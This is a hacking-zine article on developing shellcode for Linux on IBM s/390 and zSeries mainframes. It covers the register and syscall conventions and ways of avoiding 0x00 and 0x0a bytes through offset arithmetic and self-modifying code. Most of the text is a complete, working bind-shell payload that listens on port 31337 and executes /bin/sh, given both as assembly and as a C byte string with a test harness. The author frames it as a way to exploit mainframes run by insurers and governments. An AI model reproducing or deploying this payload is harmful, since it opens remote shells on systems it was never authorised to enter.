3 Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
5 |=----------------=[ Linux/390 shellcode development ]=------------------=|
6 |=-----------------------------------------------------------------------=|
7 |=-------------=[ johnny cyberpunk <jcyberpunk@thc.org> ]=---------------=|
19 2.5 - Avoiding the evil 0x00 and 0x0a
28 Since Linux/390 has been released by IBM more and more b0xes of this
29 type can be found in the wild. A good reason for a hacker to get a closer
30 look on how vulnerable services can be exploited on a mainframe. Remember,
31 who are the owners of mainframes ? Yeah, big computer centres, insurances
32 or goverments. Well, in this article I'll uncover how to write the bad code
33 (aka shellcode). The bind-shellcode at the end should be taken as an
34 example. Other shellcode and exploit against some known vulnerabilities can
35 be found on a seperate link (see References) in the next few weeks.
37 Suggestions, improvements or flames can be send directly to the email
38 address posted in the header of this article. My gpg-key can be found at
42 --[ 2 - History and facts
44 In late 1998 a small team of IBM developers from Boeblingen/Germany
45 started to port Linux to mainframes. One year later in December 1999 the
46 first version has been published for the IBM s/390. There are two versions
49 A 32 bit version, referred to as Linux on s/390 and a 64 bit version,
50 referred to as Linux on zSeries. Supported distros are Suse, Redhat and
51 TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
52 based on kernel 2.4. There are different ways to run Linux:
54 Native - Linux runs on the entire machine, with no other OS
55 LPAR - Logical PARtition): The hardware can be logically
56 partitioned, for example, one LPAR hosts a VM/VSE
57 environment and another LPAR hosts Linux.
58 VM/ESA Guest - means that a customer can also run Linux in a virtual
61 The binaries are in ELF format (big endianess).
68 For our shellcode development we really don't need the whole bunch of
69 registers the s/390 or zSeries has. The most interesting for us are the
70 registers %r0-%r15. Anyway I'll list some others here for to get an
73 General propose registers :
74 %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
77 cr0-cr15 are only used by kernel for irq control, memory
78 management, debugging control ...
81 ar0-ar15 are normally not used by programs, but good for
84 Floating point registers :
85 fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
87 PSW ( Programm Status Word ) :
88 is the most important register and serves the roles of a program
89 counter, memory space designator and condition code register.
90 For those who wanna know more about this register, should take
91 a closer look on the references at the bottom.
96 ----[ 2.2 - Instruction set
98 Next I'll show you some useful instructions we will need, while developing
103 ---------------------------------------------------------------------------
104 basr (branch and save) %r1,0 # save value 0 to %r1
105 lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4
106 la (load address) la %r3,120(%r15) # load address from
108 lr (load register) lr %r4,%r9 # load value from %r9
110 stc (store character) stc %r6,120(%r15) # store 1 character from
112 sth (store halfword) sth %r3,122(%r15) # store 2 bytes from
114 ar (add) ar %r6,%r10 # add value in %r10 ->%r6
115 xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
116 svc (service call) svc 1 # exit
123 On Linux for s/390 or zSeries syscalls are done by using the
124 instruction SVC with it's opcode 0x0a ! This is no good message for
125 shellcoders, coz 0x0a is a special character in a lot of services. But
126 before i start explaining how we can avoid using this call let's have a
127 look on how our OS is using the syscalls.
129 The first four parameters of a syscall are delivered to the registers
130 %r2-%r5 and the resultcode can be found in %r2 after the SVC call.
132 Example of an execve call:
136 la %r2,exec-base(%r1)
138 la %r4,tonull-base(%r1)
149 A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
150 the register %r2 with the desired function ( socket, bind, listen, accept,
151 ....) and %r3 points to a list of parameters this function needs. Every
152 parameter in this list has its own u_long value.
154 And again an example of a socket() call :
158 xr %r4,%r4 # protocol
159 stm %r2,%r4,128(%r15) # store %r2 - %r4
160 lhi %r2,1 # function socket()
161 la %r3,128(%r15) # pointer to the API values
163 lr %r7,%r2 # save filedescriptor to %r7
169 ----[ 2.4 - The native code
171 So now, here is a sample of a complete portbindshell in native style :
176 basr %r1,0 # our base-address
183 xr %r4,%r4 # INADDR_ANY
184 st %r4,124(%r15) # 120-127 is struct sockaddr *
185 lhi %r3,1 # SOCK_STREAM
186 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
187 lhi %r2,1 # SOCKET_socket
188 la %r3,128(%r15) # pointer to the API values
190 lr %r7,%r2 # save socket fd to %r7
191 la %r3,120(%r15) # pointer to struct sockaddr *
192 lhi %r9,16 # save value 16 to %r9
193 lr %r4,%r9 # sizeof address
194 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
195 lhi %r2,2 # SOCKET_bind
196 la %r3,128(%r15) # pointer to the API values
198 lr %r2,%r7 # get saved socket fd
199 lhi %r3,1 # MAXNUMBER
200 stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
201 lhi %r2,4 # SOCKET_listen
202 la %r3,128(%r15) # pointer to the API values
204 lr %r2,%r7 # get saved socket fd
205 la %r3,120(%r15) # pointer to struct sockaddr *
206 stm %r2,%r3,128(%r15) # store %r2-%r3,our API values
207 st %r9,136(%r15) # %r9 = 16, this case: fromlen
208 lhi %r2,5 # SOCKET_accept
209 la %r3,128(%r15) # pointer to the API values
211 xr %r3,%r3 # the following shit
212 svc 63 # duplicates stdin, stdout
217 la %r2,exec-base(%r1) # point to /bin/sh
218 la %r3,arg-base(%r1) # points to address of /bin/sh
219 la %r4,tonull-base(%r1) # point to envp value
234 ----[ 2.5 - Avoiding 0x00 and 0x0a
236 To get a clean working shellcode we have two things to bypass. First
237 avoiding 0x00 and second avoiding 0x0a.
239 Here is our first case :
241 a7 28 00 02 lhi %r2,02
243 And here is my solution :
245 a7 a8 fb b4 lhi %r10,-1100
246 a7 28 04 4e lhi %r2,1102
249 I statically define a value -1100 in %r10 to use it multiple times.
250 After that i load my wanted value plus 1100 and in the next instruction
251 the subtraction of 1102-1100 gives me the real value. Quite easy.
253 To get around the next problem we have to use selfmodifing code:
256 .long 0x0b6607fe <---- will be svc 66, br %r14 after
259 Look at the first byte, it has the value 0x0b at the moment. The
260 following code changes this value to 0x0a:
262 basr %r1,0 # our base-address
263 la %r9,svc-base(%r1) # load address of svc subroutine
264 lhi %r6,1110 # selfmodifing
265 lhi %r10,-1100 # code is used
266 ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
267 stc %r6,svc-base(%r1) # store svc opcode
269 Finally the modified code looks as follows :
274 To branch to this subroutine we use the following command :
276 basr %r14,%r9 # branch to subroutine SVC 102
278 The Register %r9 has the address of the subroutine and %r14 contains
279 the address where to jump back.
284 ----[ 2.6 - The final code
286 Finally we made it, our shellcode is ready for a first test:
291 basr %r1,0 # our base-address
293 la %r9,svc-base(%r1) # load address of svc subroutine
294 lhi %r6,1110 # selfmodifing
295 lhi %r10,-1100 # code is used
296 ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
297 stc %r6,svc-base(%r1) # store svc opcode
298 lhi %r2,1102 # portbind code always uses
299 ar %r2,%r10 # real value-1100 (here AF_INET)
303 xr %r4,%r4 # INADDR_ANY
304 st %r4,124(%r15) # 120-127 is struct sockaddr *
305 lhi %r3,1101 # SOCK_STREAM
307 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
308 lhi %r2,1101 # SOCKET_socket
310 la %r3,128(%r15) # pointer to the API values
311 basr %r14,%r9 # branch to subroutine SVC 102
312 lr %r7,%r2 # save socket fd to %r7
313 la %r3,120(%r15) # pointer to struct sockaddr *
315 ar %r8,%r10 # value 16 is stored in %r8
316 lr %r4,%r8 # size of address
317 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
318 lhi %r2,1102 # SOCKET_bind
320 la %r3,128(%r15) # pointer to the API values
321 basr %r14,%r9 # branch to subroutine SVC 102
322 lr %r2,%r7 # get saved socket fd
323 lhi %r3,1101 # MAXNUMBER
325 stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
326 lhi %r2,1104 # SOCKET_listen
328 la %r3,128(%r15) # pointer to the API values
329 basr %r14,%r9 # branch to subroutine SVC 102
330 lr %r2,%r7 # get saved socket fd
331 la %r3,120(%r15) # pointer to struct sockaddr *
332 stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
333 st %r8,136(%r15) # %r8 = 16, in this case fromlen
334 lhi %r2,1105 # SOCKET_accept
336 la %r3,128(%r15) # pointer to the API values
337 basr %r14,%r9 # branch to subroutine SVC 102
338 lhi %r6,1163 # initiate SVC 63 = DUP2
340 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
341 lhi %r3,1102 # the following shit
342 ar %r3,%r10 # duplicates
343 basr %r14,%r9 # stdin, stdout
345 basr %r14,%r9 # SVC 63 = DUP2
348 lhi %r6,1111 # initiate SVC 11 = execve
350 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
351 la %r2,exec-base(%r1) # point to /bin/sh
352 st %r2,exec+8-base(%r1) # save address to /bin/sh
353 la %r3,exec+8-base(%r1) # points to address of /bin/sh
354 xr %r4,%r4 # 0x00 is envp
355 stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
356 st %r4,exec+12-base(%r1) # store 0x00 value for envp
357 la %r4,exec+12-base(%r1) # point to envp value
358 basr %r14,%r9 # branch to subroutine SVC 11
360 .long 0x0b6607fe # our subroutine SVC n + br %r14
365 In a C-code environment it looks like this :
368 "\x0d\x10" /* basr %r1,%r0 */
369 "\x41\x90\x10\xd4" /* la %r9,212(%r1) */
370 "\xa7\x68\x04\x56" /* lhi %r6,1110 */
371 "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
372 "\x1a\x6a" /* ar %r6,%r10 */
373 "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
374 "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
375 "\x1a\x2a" /* ar %r2,%r10 */
376 "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
377 "\xa7\x38\x7a\x69" /* lhi %r3,31337 */
378 "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
379 "\x17\x44" /* xr %r4,%r4 */
380 "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
381 "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
382 "\x1a\x3a" /* ar %r3,%r10 */
383 "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
384 "\xa7\x28\x04\x4d" /* lhi %r2,1101 */
385 "\x1a\x2a" /* ar %r2,%r10 */
386 "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
387 "\x0d\xe9" /* basr %r14,%r9 */
388 "\x18\x72" /* lr %r7,%r2 */
389 "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
390 "\xa7\x88\x04\x5c" /* lhi %r8,1116 */
391 "\x1a\x8a" /* ar %r8,%r10 */
392 "\x18\x48" /* lr %r4,%r8 */
393 "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
394 "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
395 "\x1a\x2a" /* ar %r2,%r10 */
396 "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
397 "\x0d\xe9" /* basr %r14,%r9 */
398 "\x18\x27" /* lr %r2,%r7 */
399 "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
400 "\x1a\x3a" /* ar %r3,%r10 */
401 "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
402 "\xa7\x28\x04\x50" /* lhi %r2,1104 */
403 "\x1a\x2a" /* ar %r2,%r10 */
404 "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
405 "\x0d\xe9" /* basr %r14,%r9 */
406 "\x18\x27" /* lr %r2,%r7 */
407 "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
408 "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
409 "\x50\x80\xf0\x88" /* st %r8,136(%r15) */
410 "\xa7\x28\x04\x51" /* lhi %r2,1105 */
411 "\x1a\x2a" /* ar %r2,%r10 */
412 "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
413 "\x0d\xe9" /* basr %r14,%r9 */
414 "\xa7\x68\x04\x8b" /* lhi %r6,1163 */
415 "\x1a\x6a" /* ar %r6,%r10 */
416 "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
417 "\xa7\x38\x04\x4e" /* lhi %r3,1102 */
418 "\x1a\x3a" /* ar %r3,%r10 */
419 "\x0d\xe9" /* basr %r14,%r9 */
420 "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
421 "\x0d\xe9" /* basr %r14,%r9 */
422 "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
423 "\x0d\xe9" /* basr %r14,%r9 */
424 "\xa7\x68\x04\x57" /* lhi %r6,1111 */
425 "\x1a\x6a" /* ar %r6,%r10 */
426 "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
427 "\x41\x20\x10\xd8" /* la %r2,216(%r1) */
428 "\x50\x20\x10\xe0" /* st %r2,224(%r1) */
429 "\x41\x30\x10\xe0" /* la %r3,224(%r1) */
430 "\x17\x44" /* xr %r4,%r4 */
431 "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
432 "\x50\x40\x10\xe4" /* st %r4,228(%r1) */
433 "\x41\x40\x10\xe4" /* la %r4,228(%r1) */
434 "\x0d\xe9" /* basr %r14,%r9 */
435 "\x0b\x66" /* svc 102 <--- after modification */
436 "\x07\xfe" /* br %r14 */
437 "\x2f\x62\x69\x6e" /* /bin */
438 "\x2f\x73\x68\x5c"; /* /sh\ */
442 void (*z)()=(void*)shellcode;
452 [1] z/Architecture Principles of Operation (SA22-7832-00)
453 http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
455 [2] Linux for S/390 ( SG24-4987-00 )
456 http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
458 [3] LINUX for S/390 ELF Application Binary Interface Supplement
459 http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
462 http://www.thc.org/misc/sploits/
464 -----BEGIN PGP PUBLIC KEY BLOCK-----
465 Version: GnuPG v1.0.6 (GNU/Linux)
466 Comment: Weitere Infos: siehe http://www.gnupg.org
468 mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
469 sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
470 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
471 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
472 BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
473 F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
474 a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
475 DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
476 G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
477 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
478 FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
479 byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
480 iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
481 t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
482 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
483 y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
484 eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
485 AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
486 vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
487 cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
488 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
489 Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
490 R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
491 AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
493 -----END PGP PUBLIC KEY BLOCK-----
496 |=[ EOF ]=---------------------------------------------------------------=|